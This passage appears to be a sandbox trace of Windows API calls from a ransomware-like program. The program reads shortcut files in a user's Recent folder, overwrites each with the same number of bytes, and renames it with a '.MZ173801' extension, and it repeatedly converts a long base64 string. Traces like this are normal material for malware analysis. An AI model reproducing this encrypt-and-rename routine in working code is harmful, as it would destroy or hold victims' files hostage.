lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0121.212] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fhtI4R.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\fhti4r.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.212] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0121.212] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.212] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x9eb [0121.212] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.212] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x9eb, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x9eb, lpOverlapped=0x0) returned 1 [0121.213] CloseHandle (hObject=0x288) returned 1 [0121.213] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fhtI4R.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\fhti4r.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.214] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x9eb, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x9eb, lpOverlapped=0x0) returned 1 [0121.215] CloseHandle (hObject=0x288) returned 1 [0121.216] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fhtI4R.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\fhti4r.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fhtI4R.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\fhti4r.lnk.mz173801")) returned 1 [0121.217] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf9afaa0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf9afaa0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf9afaa0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x40b, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="FveJ5bedfScgZ0 GLL.lnk", cAlternateFileName="FVEJ5B~1.LNK")) returned 1 [0121.217] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0121.217] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0121.217] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FveJ5bedfScgZ0 GLL.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\fvej5bedfscgz0 gll.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf9afaa0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf9afaa0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf9afaa0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x40b)) returned 1 [0121.218] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0121.218] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0121.219] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FveJ5bedfScgZ0 GLL.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\fvej5bedfscgz0 gll.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.220] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0121.220] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.220] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x40b [0121.220] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.220] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x40b, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x40b, lpOverlapped=0x0) returned 1 [0121.221] CloseHandle (hObject=0x288) returned 1 [0121.221] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FveJ5bedfScgZ0 GLL.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\fvej5bedfscgz0 gll.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.222] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x40b, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x40b, lpOverlapped=0x0) returned 1 [0121.222] CloseHandle (hObject=0x288) returned 1 [0121.223] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FveJ5bedfScgZ0 GLL.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\fvej5bedfscgz0 gll.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FveJ5bedfScgZ0 GLL.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\fvej5bedfscgz0 gll.lnk.mz173801")) returned 1 [0121.224] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xded7c9e0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xded7c9e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xded7c9e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="fZVy.lnk", cAlternateFileName="")) returned 1 [0121.224] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0121.224] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0121.225] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fZVy.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\fzvy.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xded7c9e0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xded7c9e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xded7c9e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x3c1)) returned 1 [0121.226] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZ